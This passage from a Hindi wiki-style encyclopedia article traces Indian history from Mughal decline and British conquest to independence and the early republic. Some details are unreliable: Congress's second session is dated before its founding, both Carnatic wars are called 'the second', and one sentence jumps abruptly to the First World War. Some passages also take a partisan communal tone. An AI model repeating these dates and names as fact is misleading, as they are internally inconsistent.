राजपूतों और मुग़लों के योग से उसने अपना साम्राज्य [[कन्दहार]] से [[आसाम]] की सीमा तक तथा [[हिमालय]] की तलहटी से लेकर दक्षिण में [[अहमदनगर]] तक विस्तृत कर दिया। उसके पुत्र [[जहाँगीर]] जहाँ पौत्र [[शाहजहाँ]] कि राज्यकाल में मुग़ल साम्राज्य का विस्तार जारी रहा। शाहजहाँ ने ताज का निर्माण कराया, परन्तु क्न्दहार उसके हाथ से निकल गया। अकबर के प्रपौत्र औरंगज़ेब के राज्यकाल में मुग़ल साम्राज्य का विस्तार अपने चरम शिखर पर पहुँच गया और कुछ काल के लिए सारा भारत उसके अंतर्गत हो गया। परन्तु [[औरंगज़ेब]] ने जान-बूझकर अकबर की धार्मिक सहिष्णुता की नीति त्याग दी और हिन्दुओं को अपने विरुद्ध कर लिया। उसने हिन्दुस्तान का शासन सिर्फ मुसलमानों के हित में चलाने की कोशिश की और हिन्दुओं को ज़बर्दस्ती मुसलमान बनाने का असफल प्रयास किया। इससे राजपूताना, [[बुंदेलखण्ड]] तथा [[पंजाब]] के हिन्दू उसके विरुद्ध उठ खड़े हुए। [[महाराष्ट्र]] में [[शिवाजी]] ने 1707 ई॰ में औरंगज़ेब की मृत्यु से पूर्व ही एक स्वतंत्र हिन्दू राज्य स्थापित कर दिया। औरंगज़ेब अन्तिम शक्तिशाली मुग़ल बादशाह था। उसके उत्तराधिकारी अत्यन्त निर्बल और अयोग्य थे, उनके वज़ीर विश्वासघाती थे। फ़ारस के [[नादिरशाह]] ने मुग़ल बादशाहत पर सबसे सांघातिक प्रहार किया। उसने 1739 ई॰ में भारत पर चढ़ाई की और दिल्ली पर क़ब्ज़ा कर लिया और उसे निर्दयता से पूरी तरह लूटा। उसके हमले से मुग़ल साम्राज्य पूरी तरह जर्जर हो गया और इसके बाद शीघ्रता से उसका विघटन हो गया। [[अवध]], [[अखण्डित बंगाल]] तथा दक्षिण के मुसलमान सूबेदारों ने अपने को स्वतंत्र कर लिया। राजपूत राजा भी अर्द्ध-स्वतंत्र हो गये। [[पेशवा बाजीराव प्रथम]] के नेतृत्व में [[मराठा|मराठों]] ने [[मुग़ल काल|मुग़ल साम्राज्य]] के खंडहरों पर हिन्दू पद पादशाह की स्थापना का प्रयास किया।
 
 
 
====<u>अंग्रेज़</u>====
 
{{seealso|वास्को द गामा}}
 
परन्तु यह सम्भव नहीं हो सका। [[फ़िरंगी]] लोग समुद्री मार्गों से भारत की ज़मीन पर पैर जमा चुके थे। [[अकबर]] से लेकर [[औरंगज़ेब]] तक मुग़ल बादशाहों ने भारत के इस नये मार्ग का महत्व नहीं समझा। इनमें से कोई इन नवांगतुकों की राजनीतिक महत्वाकांक्षाओं का अनुमान नहीं लगा सका और उनके जंगी बेड़े का मुक़ाबला करने के लिए एक शक्तिशाली भारतीय जंगी बेड़ा तैयार करने की आवश्यकता को अनुभव नहीं कर सका। इस तरह भारतीयों की ओर से किसी प्रतिरोध का सामना किये बग़ैर सबसे पहले [[पुर्तग़ाली]] भारत पहुँचे। उसके बाद [[डच]], [[अंग्रेज़]], [[फ्राँसीसी]] आये। सोलहवीं शताब्दी में इन फिरंगियों में आपस में लड़ाइयाँ होती रही, जो अधिकांश समुद्र में हुई। डच और अंग्रेजों ने मिलकर सबसे पहले पुर्तग़ालियों की सामुद्रिक शक्ति को समाप्त किया। इसके बाद डच लोगों को पता चला कि उनके लिए भारत की अपेक्षा मसाले वाले द्वीपों से व्यापार करना अधिक लाभदायी है। इस तरह भारत में सिर्फ अंग्रेज और फ्राँसीसी लोगों के बीच प्रतिद्वन्द्विता हुई।
 
 
 
====<u>ईस्ट इंडिया कम्पनी</u>====
 
{{seealso|मैसूर युद्ध|टीपू सुल्तान}}
 
[[चित्र:Tipu-Sultan.jpg|thumb|150px|left|[[टीपू सुल्तान]]]]
 
अठारहवीं शताब्दी के शुरू में अंग्रेजों की [[ईस्ट इंडिया कम्पनी]] ने बम्बई (मुम्बई), मद्रास (चेन्नई) तथा कलकत्ता (कोलकाता) पर क़ब्ज़ा कर लिया। उधर फ्राँसीसियों की ईस्ट इंडिया कम्पनी ने [[माहे]], [[पुदुचेरी|पांडिचेरी]] तथा [[चंद्रानगर]] पर क़ब्ज़ा कर लिया। उन्हें अपनी सेनाओं में भारतीय सिपाहियों की भरती करने की भी इजाज़त मिल गयी। वे इन भारतीय सिपाहियों का उपयोग न केवल अपनी आपसी लड़ाइयों में करते थे बल्कि इस देश के राजाओं के विरुद्ध भी करते थे। इन राजाओं की आपसी प्रतिद्वन्द्विता और कमज़ोरी ने इनकी राजनीतिक महत्वाकांक्षा का जाग्रत कर दिया और उन्होंने कुछ देशी राजाओं के विरुद्ध दूसरे देशी राजाओं से संधियाँ कर लीं। 1744-49 ई॰ में मुग़ल बादशाह की प्रभुसत्ता की पूर्ण उपेक्षा करके उन्होंने आपस में [[कर्नाटक]] की दूसरी लड़ाई छेड़ी। एक साल के बाद कर्नाटक की दूसरी लड़ाई शुरू हुई। जिसमें फ्राँसीसी [[गवर्नर डूप्ले]] ने पहली लड़ाई से सबक़ लेते हुए न केवल कर्नाटक के प्रशासन पर, बल्कि [[निज़ामशाही वंश|निज़ाम]] के राज्य पर भी [[फ़्राँस]] का राजनीतिक नियत्रंण स्थापित करने की कोशिश की। परन्तु अंग्रेजों ने उसकी महत्वाकांक्षा पूरी नहीं होने दी। अंग्रेजों को बंगाल में भारी सफलता मिली थी। बादशाह औरंगज़ेब की मृत्यु के केवल पचास वर्ष बाद 1757 ई॰ में [[राबर्ट क्लाइव]] के नेतृत्व में अंग्रेजों ने [[नवाब सिराजुद्दौला]] के विरुद्ध विश्वासघातपूर्ण राजद्रोहात्मक षड़यंत्र रचकर [[प्लासी]] की लड़ाई जीत ली और बंगाल को एक प्रकार से अपनी मुट्ठी में कर लिया। उन्होंने बंगाल की गद्दी पर एक कठपुतली नवाब [[मीर ज़ाफ़र]] को बिठा दिया। इसके बाद एक के बाद, तेज़ी से कई घटनाएँ घटीं।
 
 
 
====<u>पानीपत</u>====
 
[[अहमद शाह अब्दाली]] ने 1748 से 1760 ई॰ के बीच भारत पर चढ़ाइयाँ कीं और 1761 ई॰ में [[पानीपत]] की [[पानीपत युद्ध तृतीय|तीसरी लड़ाई]] जीत कर मुग़ल साम्राज्य का फ़ातिहा पढ़ दिया। उसन दिल्ली पर दख़ल करके उसे लूटा। पानीपत की तीसरी लड़ाई में सबसे अधिक क्षति मराठों को उठानी पड़ी। कुछ समय के लिए उनकी बाढ़ रुक गयी और इस प्रकार वे मुग़ल बादशाहों की जगह ले लेने का मौका खो बैठे। यह लड़ाई वास्तव में मुग़ल साम्राज्य के पतन की सूचक है। इसने भारत में मुग़ल साम्राज्य के स्थान पर ब्रिटिश साम्राज्य की स्थापना में मदद की। अब्दाली को पानीपत में जो फ़तह मिली, उससे न तो वह स्वयं कोई लाभ उठा सका और न उसका साथ देने वाले मुसलमान सरदार। इस लड़ाई से वास्तविक फ़ायदा अंग्रेजी ईस्ट इंडिया कम्पनी ने उठाया। इसके बाद कम्पनी को एक के बाद दूसरी सफलताएँ मिलती गयीं।
 
{{अंग्रेज़ गवर्नर जनरल और वायसराय सूची1}}
 
====<u>रेग्युलेटिंग एक्ट</u>====
 
बंगाल के साधनों से बलशाली होकर अंग्रेजों ने 1760 ई॰ में वाण्डीवाश की लड़ाई में फ्राँसीसियों को हरा दिया और 1762 ई॰ में उनस [[पांडेचेरी]] ले लिया। इस प्रकार उन्होंने भारत में फ्राँसीसियों की राजनीतिक शक्ति समाप्त कर दी। 1764 ई॰ में अंग्रजों ने बक्सर की लड़ाई में [[बहादुर शाह प्रथम|बादशाह बहादुर शाह]] और [[शुजाउद्दौला|अवध के नवाब]] की सम्मिलित सेना को हरा दिया और 1765 ई॰ में बादशाह से बंगाल, बिहार तथा उड़ीसा की दीवानी प्राप्त कर ली। इसके फलस्वरूप ईस्ट इंडिया कम्पनी को पहली बार बंगाल, उड़ीसा तथा बिहार के प्रशासन का क़ानूनी अधिकार मिल गया। कुछ इतिहासकार इसे भारत में ब्रिटिश राज्य का प्रारम्भ मानते हैं। 1773 ई॰ में ब्रिटिश पार्लियामेंट ने एक [[रेग्युलेटिंग एक्ट]] पास करके भारत में ब्रिटिश प्रशासन को व्यवस्थित रूप देने का प्रयास किया। इस एक्ट के अंतर्गत भारत में कम्पनी क्षेत्रों का प्रशासन गवर्नर-जनरल के अधीन कर दिया गया। उसकी सहायता के लिए चार सदस्यों की कौंसिल गठित की गयी। एक्ट में बंगाल के गवर्नर को गवर्नर-जनरल का पद प्रदान किया गया और कलकत्ता में एक सुप्रीम कोर्ट की भी स्थापना की गयी। [[वारेन हेस्टिंग्स]], जो उस समय बंगाल का गवर्नर था, 1773 ई॰ में पहला गवर्नर-जनरल बनाया गया।
 
 
 
1773 ई॰ से 1947 ई॰ तक का काल, जब भारत में [[ब्रिटिश शासन]] समाप्त हुआ और भारत स्वाधीन हुआ, दो भागों में बाँटा जा सकता है। पहला, कम्पनी का शासनकाल, जो 1858 ई॰ तक चला और दूसरा, 1858 से 1947 ई॰ तक का काल, जब भारत का शासन सीधे ब्रिटेन द्वारा होने लगा।
 
 
 
====<u>गवर्नर-जनरलों का समय</u>====
 
कम्पनी के शासन काल में भारत का प्रशासन एक के बाद एक बाईस [[गवर्नर-जनरल|गवर्नर-जनरलों]] के हाथों मे रहा। इस काल के भारतीय इतिहास की सबसे उल्लेखनीय घटना यह है कि कम्पनी युद्ध तथा कूटनीति के द्वारा भारत में अपने साम्राज्य का उत्तरोत्तर विस्तार करती रही। [[मैसूर]] के साथ [[मैसूर युद्ध|चार लड़ाइयाँ]], मराठों के साथ तीन, बर्मा ([[म्यांमार]]) तथा [[सिख|सिखों]] के साथ दो-दो लड़ाइयाँ तथा सिंध के अमीरों, गोरखों तथा [[अफ़ग़ानिस्तान]] के साथ एक-एक लड़ाई छेड़ी गयी। इनमें से प्रत्येक लड़ाई में कम्पनी को एक या दूसरे देशी राजा की मदद मिली। उसने जिन फ़ौजों से लड़ाई की उनमें से अधिकांश भारतीय सिपाही थे और लड़ाई का ख़र्च पूरी तरह भारतीय करदाता को उठाना पड़ा। इन लड़ाइयों के फलस्वरूप 1857 ई॰ तक सारे भारत पर सीधे कम्पनी का प्रभुत्व स्थापित हो गया। दो-तिहाई भारत पर देशी राज्यों का शासन बना रहा। परन्तु उन्होंने कम्पनी का सार्वभौम प्रभुत्व स्वीकार कर लिया और अधीनस्थ तथा आश्रित मित्र राजा के रूप में अपनी रियासत का शासन चलाते रहे।
 
 
 
====<u>ग़दर- प्रथम स्वातंत्र्य संग्राम</u>====
 
{{seealso|झांसी की रानी लक्ष्मीबाई|तात्या टोपे}}
 
[[चित्र:Tatya-Tope.jpg|thumb|[[तात्या टोपे]]]]
 
इस काल में [[सती प्रथा]] का अन्त कर देने के समान कुछ सामाजिक सुधार के भी कार्य किये गये। अंग्रेज़ी के माध्यम से पश्चिम शिक्षा के प्रसार की दिशा में क़दम उठाये गये, अंग्रेजी देश की राजभाषा बना दी गयी, सारे देश में समान ज़ाब्ता दीवानी और ज़ाब्ता फ़ौजदारी क़ानून लागू कर दिया गया, जिससे सारे देश में एकता की नयी भावना पैदा हो गयी। परन्तु शासन स्वेच्छाचारी बना रहा और वह पूरी तरह अंग्रेजों के हाथों में रहा। 1833  के चार्टर एक्ट  के विपरीत ऊँचे पदों पर भारतीयों को नियुक्त नहीं किया गया। भाप से चलने वाले जहाज़ों और रेलगाड़ियों का प्रचलन, ईसाई मिशनरियों द्वारा आक्षेपजनक रीति से [[ईसाई धर्म]] का प्रचार, [[लार्ड डलहौज़ी]] द्वारा ज़ब्ती का सिद्धांत लागू करके अथवा कुशासन के आधार पर कुछ पुरानी देशी रियासतों की ज़ब्ती तथा ब्रिटिश भारतीय सेना के भारतीय सिपाहियों की शिकायतें—इन सब कारणों ने मिलकर सारे भारत में एक गहरे असंतोष की आग धधका दी, जो 1857-58 ई॰ में ग़दर के रूप में भड़क उठी। अन्तिम मुग़ल बहादुर शाह ज़फ़र, झांसी की रानी लक्ष्मीबाई, तांत्या टोपे (रामचंन्द्र पांडुरंग), बिहार के बाबू कुँवरसिंह, महाराष्ट्र से नाना साहिब, इस प्रथम क्रान्ति के प्रयास के नायक थे किन्तु प्रयास विफल हो गया।
 
 
अधिकांश देशी राजाओं ने अपने को ग़दर से अलग रखा। देश की अधिकांश जनता ने भी इसमें कोई हिस्सा नहीं लिया। फलस्वरूप कम्पनी को बल पूर्वक ग़दर को कुचल देने में सफलता मिली, परन्तु ग़दर के बाद ब्रिटिश पार्लियामेंट में भारत पर कम्पनी का शासन समाप्त कर दिया। भारत का शासन अब सीधे ब्रिटेन के द्वारा किया जाने लगा। महारानी विक्टोरिया ने एक घोषणा पत्र जारी करके अपनी भारतीय प्रजा को उसके कुछ अधिकारों तथा कुछ स्वाधीनताओं के बारे में आश्वासन दिया।
 
 
 
====<u>भारतीय राष्ट्रीय कांग्रेस की स्थापना</u>====
 
 
 
इस प्रकार भारत में ब्रिटिश शासन का दूसरा काल (1858-1947 ई॰) आरम्भ हुआ। इस काल का शासन एक के बाद इकत्तीस गवर्नर-जनरलों के हाथों में रहा। गवर्नर-जनरल को अब [[वाइसराय]] (ब्रिटिश सम्राट का प्रतिनिधी) कहा जाने लगा। [[लार्ड कैनिंग]] पहला वाइसराय तथा गवर्नर-जनरल नियुक्त हुआ। इस काल के भारतीय इतिहास की सबसे प्रमुख घटना है—भारत में राष्ट्रवादी भावना का उदय और 1947 ई॰ में भारत की स्वाधीनता के रूप में अंतिम विजय। 1857 ई॰ में कलकत्ता ([[कोलकाता]]), मद्रास ([[चेन्नई]]) तथा बम्बई ([[मुम्बई]]) में विश्वविद्यालयों की स्थापना के बाद शिक्षा का प्रसार होने लगा तथा 1869 ई॰ में स्वेज़ नहर खुलने के बाद [[इंग्लैण्ड]] तथा [[यूरोप]] से निकट सम्पर्क स्थापित हो जाने से भारत में नये मध्यवर्ग का विकास हुआ। यह मध्य वर्ग पश्चिमी दर्शन शास्त्र, राजनीति शास्त्र तथा अर्थशास्त्र के विचारों से प्रभावित था और ब्रिटिश शासन में भारतीयों को जो नीचा दर्ज़ा मिला हुआ था, उससे रुष्ट था। ब्रिटिश में स्थापित शान्ति के फलस्वरूप यह वर्ग सारे भारत को एक देश तथा समस्त भारतीयों को एक क़ौम मानने लगा और ब्रिटेन की भाँति संसदीय शासन प्रणाली की स्थापना उसका लक्ष्य बन गया। वह एक ऐसे संगठन की आवश्यकता महसूस करने लगा जो समस्त भारतीय राष्ट्र का प्रतिनिधित्व कर सके।
 
 
 
इसके फलस्वरूप 1885 ई॰ में बम्बई में [[भारतीय राष्ट्रीय कांग्रेस]] की स्थापना हुई जिसमें देश के समस्त भागों से 71 प्रतिनिधियों ने भाग लिया। कांग्रेस का दूसरा अधिवेशन 1883 ई॰ में कलकत्ता में हुआ, जिसमें सारे देश से निर्वाचित 434 प्रतिनिधियों ने भाग लिया। इस अधिवेशन में माँग की गयी कि भारत में केन्द्रीय तथा प्रांतीय विधानमंडलों का विस्तार किया जाये और उसके आधे सदस्य निर्वाचित भारतीय हों। कांग्रेस हर साल अपने अधिवेशनों में अपनी माँगें दोहराती रही। [[लार्ड डफ़रिन]] ने कांग्रेस पर व्यग्य करते हुए उसे ऐसे अल्पसंख्यक वर्ग का प्रतिनिधित्व करने वाली संस्था बताया जिसे सिर्फ़ ख़ुर्दबीन से देखा जा सकता है। [[लार्ड लैन्सडाउन]] ने उसके प्रति पूर्ण उपेक्षा की नीति बरती, [[लार्ड कर्ज़न]] ने उसका खुलेआम मज़ाक उड़ाया तथा [[लार्ड मिन्टो द्वितीय]] ने 1909 के इंडियन कौंसिल एक्ट द्वारा स्थापित विधानमंडलों में मुसलमानों को अनुपात से अनुचित रीति से अधिक प्रतिनिधित्व देकर उन्हें फोड़ने तथा कांग्रेस को तोड़ने की कोशिश की, फिर भी कांग्रेस जिन्दा रही।
 
 
 
====<u>प्रारम्भिक सफलता</u>====
 
कांग्रेस को पहली मामूली सफलता 1909 में मिली, जब इंग्लैण्ड में भारत मंत्री के निर्शदन में काम करने वाली भारत परिषद में दो भारतीय सदस्यों की नियुक्ति पहली बार की गयी, वाइसराय की एक्जीक्यूटिव काउंसिल में पहली बार एक भारतीय सदस्य की नियुक्ति की गयी तथा इंडियन काउंसिल एक्ट के द्वारा केन्द्रीय तथा प्रान्तीय विधानमंडलों का विस्तार कर दिया गया तथा उनमें निर्वाचित भारतीय प्रतिनिधियों का अनुपात पहले से अधिक बढ़ा दिया गया। इन सुधारों के प्रस्ताव लार्ड मार्ले ने हालाँकि भारत में संसदीय संस्थाओं की स्थापना करने का कोई इरादा होने से इन्कार किया, फिर भी एक्ट में जो व्यवस्थाएँ की गयीं थी, उनका उद्देश्य उसी दिशा में आगे बढ़ने के सिवा और कुछ नहीं हो सकता था। 1911 ई॰ में लार्ड कर्जन के द्वारा 1905 ई॰ में किया बंगाल का विभाजन रद्द कर दिया गया और भारत ने ब्रिटेन का पूरा साथ दिया। भारत ने युद्ध को जीतने के लिए ब्रिटेन की फ़ौजों से, धन से तथा समाग्री से मदद की। भारत आशा करता था कि इस राजभक्ति प्रदर्शन के बदले युद्ध से होने वाले लाभों में उसे भी हिस्सा मिलेगा।
 
 
 
====<u>द्वैधशासन प्रणाली</u>====
 
भारत के लिए स्वशासन की माँग करने में पहली बार भारतीय मुसलमान भी हिन्दुओं के साथ संयुक्त हो गये और अगस्त 1917 ई॰ में ब्रिटिश सरकार ने घोषणा की कि भारत में ब्रिटेश शासन की नीति है कि शासन की प्रत्येक शाखा में भारतीयों को अधिकारिक स्थान दिया जाय तथा स्वायत्त शासन का क्रमिकरूप से विकास किया जाय, ताकि ब्रिटिश साम्राज्य के अंतर्गत भारत में उत्तरदायी सरकार की उत्तरोत्तर स्थापना हो सके। इस घोषणा के अनुसार 1919 का गवर्नमेण्ट आफ इंडिया एक्ट पास किया गया। इस एक्ट के द्वारा विधान मंडलों का विस्तार कर दिया गया और अब उनके बहुसंख्य सदस्य भारतीय जनता के निर्वाचित प्रतिनिधि होने लगे। एक्ट के द्वारा केन्द्रीय तथा प्रान्तीय सरकारों के कार्यों का विभाजन कर दिया गया और प्रान्तों में द्वैधशासन प्रणाली लागू करके कार्यपालिका को आंशिक रीति से विधानमंडल के प्रति उत्तरदायी बना दिया गया। इस एक्ट के द्वारा भारत ने सुनिश्चित रीति से प्रगति की। भारतीय के इतिहास में पहली बार एक ऐसी संस्था की स्थापना की गयी, जिसके द्वारा ब्रिटिश भारत के निर्वाचित प्रतिनिधि सरकारी आधार पर एकत्र हो सकते थे। पहली बार उनका बहुमत स्थापित कर दिया गया और अब वे सरकार के कार्यों की  निर्भयतापूर्वक आलोचना कर सकते थे।
 
====<u>असहयोग और सत्याग्रह</u>====
 
इन सुधारों से पुराने कांग्रेसजन संतुष्ट हो गये, परन्तु नव युवकों का दल, जिसे [[मोहनदास करमचंद गाँधी]] के रूप में एक नया नेता मिल गया था, संतुष्ट नहीं हुआ। इन सुधारों के अंतर्गत केन्द्रीय कार्यपालिका को केन्द्रीय विधान मंडल के प्रति उत्तरदायी नहीं बनाया गया था और वाइसराय को बहुत अधिक अधिकार प्रदान कर दिये गये थे। अतएव उसने इन सुधारों को अस्वीकृत कर दिया। उसके मन में जो आशंकाएँ थीं, वे ग़लत नहीं थी, यह 1919 के एक्ट के बाद ही पास किये गये [[रौलट एक्ट]] जैसे दमनकारी कानूनों तथा [[जलियाँवाला बाग़]] हत्याकांण्ड जैसे दमनमूलक कार्यों से सिद्ध हो गया। कांग्रेस ने 1920 ई॰ में अपने नागपुर अधिवेशन में अपना ध्येय पूर्ण स्वराज्य की स्थापना घोषित कर दी और अपनी माँगों को मनवाने के लिए उसने अहिंसक असहयोंग की नीति अपनायी। चूंकि ब्रिटिश सरकार ने उसकी माँगें स्वीकार नहीं की और दमनकारी नीति के द्वारा वह [[असहयोग आंदोलन]] को दबा देने में सफल हो गयी। इसलिए कांग्रेस ने दिसम्बर 1929 ई॰ में लाहौर अधिवेशन में अपना लक्ष्य पूर्ण स्वीधीनता निश्चित किया और अपनी माँग का मनवाने के लिए उसने 1930 में [[नमक सत्याग्रह]] आंदोलन शुरू कर दिया।
 
 
 
====<u>द्वितीय विश्वयुद्ध</u>====
 
सरकार ने पहले की तरह आंदोलन को दबाने के लिए दमन और समझौते के दोनों रास्ते अख़्तियार किये और 1935 का गवर्नेण्ट आफ इंडिया एक्ट पास किया। इस एक्ट के द्वारा ब्रिटश भारत तथा देशी रियासतों के लिए सम्मिलित रूप से एक संघीय शासन का प्रस्ताव किया, केन्द्र में एक प्रकार के द्वैध शासन की स्थापना की गयी तथा प्रान्तों को स्वशासन प्रदान कर दिया गया। एक्ट का प्रान्तों से सम्बन्धित भाग लागू कर दिया गया तथा अप्रैल 1937 ई॰ में प्रान्तीय स्वशासन का श्रीगणेश कर दिया गया। परन्तु एक्ट के संघ सरकार से सम्बन्धित भाग के लागू होने से पहले ही सितम्बर 1939 ई॰ में द्वितीय विश्वयुद्ध शुरू हो गया जो 1945 ई॰ तक जारी रहा। यह विश्वव्यापी युद्ध था और ब्रिटेन को अपने सारे साधन उसमें झोंक देने पड़े। भारत ने ब्रिटेन का साथ दिया और भारत के पास जन और धन की जो विशाल शक्ति थी उससे लाभ उठाकर तथा [[संयुक्त राज्य अमरीका|अमरीका]] की सहायता से [[ब्रिटेन]] युद्ध जीत गया। [[गाँधी जी]] के अमित प्रभाव तथा अहिंसा में उनकी दृढ़ निष्ठा के कारण भारत ने यद्यपि ब्रिटिश सम्बन्ध को बनाये रखा, फिर भी यह स्पष्ट हो गया कि भारत अब ब्रिटिश साम्राज्य की अधीनता में नहीं रहना चाहता।
 
 
 
====<u>सम्प्रदायिक दंगे</u>====
 
कुछ ब्रिटिश अफ़सरों ने भारत को स्वाधीन होने से रोकने के लिए अंतिम दुर्राभ संधि की और मुसलमानों की भारत विभाजन करके पाकिस्तान की स्थापना की माँग का समर्थन करना शुरू कर दिया। इसके फलस्वरूप अगस्त 1946 ई॰ में सारे देश में भयानक सम्प्रदायिक दंगे शुरू हो गये, जिन्हें वाइसराय [[लार्ड वेवेल]] अपने समस्त फ़ौजी अनुभवों तथा साधनों बावजूद रोकन में असफल रहा। यह अनुभव किया गया कि भारत का प्रशासन ऐसी सरकार के द्वारा चलाना सम्भव नहीं है। जिसका नियंत्रण मुध्य रूप से अंग्रेजों के हाथों में हो। अतएव सितम्बर 1946 ई॰ में लार्ड वेवेल ने [[पंडित जवाहर लाल नेहरू]] के नेतृत्व में भारतीय नेताओं की एक अंतरिम सरकार गठित की। ब्रिटिश अधिकारियों की कृपापात्र होने के कारण मुस्लिम लीग के दिमाग़ काफ़ी ऊँचे हो गये थे। उसने पहले तो एक महीने तक अंतरिम सरकार से अपने को अलग रखा, इसके बाद वह भी उसमें सम्मिलित हो गयी।
 
====<u>स्वाधीनता</u>====
 
[[चित्र:Newspaper-15-August-1947.jpg|thumb|15 अगस्त 1947 का अख़बार<br /> Newspaper Of 15th August 1947]]
 
भारत का संविधान बनाने के लिए एक भारतीय संविधान सभा का आयोजन किया गया। 1947 ई॰ के शुरू में लार्ड वेवेल के स्थान पर [[लार्ड माउंटबेटेन]] वाइसराय नियुक्त हुआ। उसे पंजाब में भयानक सम्प्रदायिक दंगों का सामना करना पड़ा। जिनको भड़काने में वहाँ के कुछ ब्रिटिश अफसरों का हाथ था। वह प्रधानमंत्री [[एटली]] के नेतृत्व में ब्रिटेन की सरकार को यह समझाने में सफल हो गया कि भारत का भारत और पाकिस्तान के रूप में विभाजन करके उसे स्वाधीनता प्रदान करने से शान्ति की स्थापना सम्भव हो सकेगी और ब्रिटेन भारत में अपने व्यापारिक हितों को सुरक्षित रख सकेगा। 3 जून 1947 को ब्रिटिश सरकार की ओर से यह घोषणा कर दी गयी कि भारत का; भारत और पाकिस्तान के रूप में विभाजन करके उसे स्वाधीनता प्रदान कर दी जायगी। ब्रिटिश पार्लियामेंट ने 15 अगस्त 1947 को इंडिपेडंस आफ इंडिया  एक्ट पास कर दिया। इस तरह भारत उत्तर पश्चिमी सीमा प्रान्त, [[बलूचिस्तान]], [[सिंध]], [[पश्चिमी पंजाब]], [[बांग्ला देश|पूर्वी बंगाल]] तथा [[पश्चिम बंगाल]] के मुसलिम बहुल भागों से रहित हो जाने के बाद, सात शताब्दियों की विदेशी पराधीनता के बाद स्वाधीनता के एक नये पथ पर अग्रसर हुआ।
 
====<u>गांधी जी की हत्या</u>====
 
[[चित्र:Mahatma-Gandhi-1.jpg|thumb|[[महात्मा गाँधी]]]]
 
स्वाधीन भारत को जिन समस्याओं का सामना करना पड़ा, वे सरल नहीं थीं। उसे सबसे पहले साम्प्रदायिक उन्माद को शान्त करना था। भारत ने जानबूझकर धर्म निरपेक्ष राज्य बनना पसंद किया। उसने आश्वासन दिया कि जिन मुसलमानों ने पाकिस्तान को निर्गमन करने के बजाय भारत में रहना पसंद किया है उनको नागरिकता के पूर्ण अधिकार प्रदान किये जायेंगे। हालाँकि पाकिस्तान जानबूझकर अपने यहाँ से हिन्दुओं को निकाल बाहर करने अथवा जिन हिन्दुओं ने वहाँ रहने का फैसला किया था, उनको एक प्रकार से द्वितीय श्रेणी का नागरिक बना देने की नीति पर चल रहा था। लॉर्ड माउंटबेटेन को स्वाधीन भारत का पहला गवर्नर जनरल बनाये रखा गया और [[पंडित जवाहर लाल नेहरू]] तथा अंतरिम सरकार में उनके कांग्रसी सहयोगियों ने थोड़े से हेरफेर के साथ पहले भारतीय मंत्रिमंडल का निर्माण किया। इस मंत्रिमंडल में सरदार पटेल तथा [[मौलाना अबुलकलाम आज़ाद]] का तो सम्मिलित कर लिया गया था, परन्तु नेताजी के बड़े भाई शरतचंद्र बोस को छोड़ दिया गया। 30 जनवरी 1948 ई॰ को [[नाथूराम गोडसे]] नामक हिन्दू ने [[राष्ट्रपिता महात्मा गाँधी]] की हत्या कर दी। सारा देश शोक के सागर में डूब गया। नौ महीने के बाद, पाकिस्तान के पहले गवर्नर जनरल मुहम्मद अली जिन्नाहकी भी मृत्यु हो गयी। उसी वर्ष लार्ड माउंटबेटेन ने भी अवकाश ग्रहण कर लिया और चक्रवर्ती राजगोपालाचारी भारत के प्रथम और अंतरिम गवर्नर जनरल नियुक्त हुए।
 
 
 
====<u>रियासतों का विलय</u>====
 
अधिकांश देशी रियासतों ने , जिनके सामने भारत अथवा पाकिस्तान में विलय का प्रस्ताव रखा गया था, भारत में विलय के पक्ष में निर्णय लिया, परन्तु, दो रियासतों—[[कश्मीर]] तथा [[हैदराबाद रियासत|हैदराबाद]] ने कोई निर्णय नहीं किया। पाकिस्तान ने बलपूर्वक कश्मीर की रियासत पर अधिकार करने का प्रयास किया, परन्तु अक्टूबर 1947 ई॰ में कश्मीर के महाराज ने भारत में विलय की घोषणा कर दी और भारतीय सेनाओं को वायुयानों से भेजकर [[श्रीनगर]] सहित कश्मीरी घाटी तक जम्मू की रक्षा कर ली गयी। पाकिस्तानी आक्रमणकारियों ने रियासत के उत्तरी भाग पर अपना क़ब्ज़ा बनाये रखा और इसके फलस्वरूप पाकिस्तान से युद्ध छिड़ गया। भारत ने यह मामला संयुक्त राष्ट्र संघ में उठाया और संयुक्त राष्ट्र संघ ने जिस क्षेत्र पर जिसका क़ब्ज़ा था, उसी के आधार पर युद्ध विराम कर दिया। वह आज तक इस सवाल का कोई निपटारा नहीं कर सका है। हैदराबाद के [[निज़ामशाही वंश|निज़ाम]] ने अपनी रियासत को स्वतंत्रता का दर्जा दिलाने का षड़यंत्र रचा, परन्तु भारत सरकार की पुलिस कार्यवाही के फलस्वरूप वह 1948 ई॰ में अपनी रियासत भारत में विलयन करने के लिए मजबूर हो गये। रियासतों के विलय में तत्कालीन गृहमंत्री सरदार बल्लभ भाई पटेल की मुख्य भूमिका रही।
 
 
 
====<u>संघ राज्यों का विलय</u>====
 
[[भारतीय संविधान सभा]] के द्वारा 26 नवम्बर 1949 में संविधान पास किया गया। भारत का संविधान अधिनियम 26 जनवरी 1950 को लागू कर दिया गया। इस संविधान में भारत को लौकतांत्रिक गणराज्य घोषित किया गया था और संघात्मक शासन की व्यवस्था की गयी थी। [[राजेन्द्र प्रसाद|डाक्टर राजेन्द्र प्रसाद]] को पहला राष्ट्रपति चुना गया और बहुमत पार्टी के नेता के रूप  में पंडित जवाहर लाल नेहरू ने प्रधान मंत्री का पद ग्रहण किया। इस पद पर वे 27 मई 1964 ई॰ में, अपनी मृत्यु तक बने रहे। नवोदित भारतीय गणराज्य के लिए उनका दीर्घकालीन प्रधानमंत्रित्व बड़ा लाभदायी सिद्ध हुआ। उससे प्रशासन तथा घरेलू एवं विदेश नीतियों में निरंतरता बनी रही। पंडित नेहरू ने वैदेशिक मामलों में गुट-निरपेक्षता की नीति अपनायी और [[चीन]] से राजनयिक सम्बन्ध स्थापित किये। [[फ्राँस]] ने 1951 ई॰ में [[चंद्रनगर]] शान्तिपूर्ण रीति से भारत का हस्तांतरित कर दिया। 1956 ई॰ में उसने अन्य फ्रेंच बस्तियाँ ([[पुदुचेरी|पांडिचेरी]], [[कारीकल]], [[माहे]] तथा [[युन्नान]]) भी भारत को सौंप दीं। [[पुर्तग़ाल]] ने फ्राँस का अनुसरण करने और शान्तिपूर्ण रीति से अपनी पुर्तग़ाली बस्तियाँ ([[गोवा]], [[दमन और दीव]]) छोड़ने से इंकार कर दिया। फलस्वरूप 1961 ई॰ में भारत को बलपूर्वक इन बस्तियों को लेना पड़ा<ref>1975 ई॰ में पुर्तग़ाली शासन ने वास्तविकता को समझकर इसको वैधानिक मान्यता दे दी है।</ref>। इस तरह भारत का 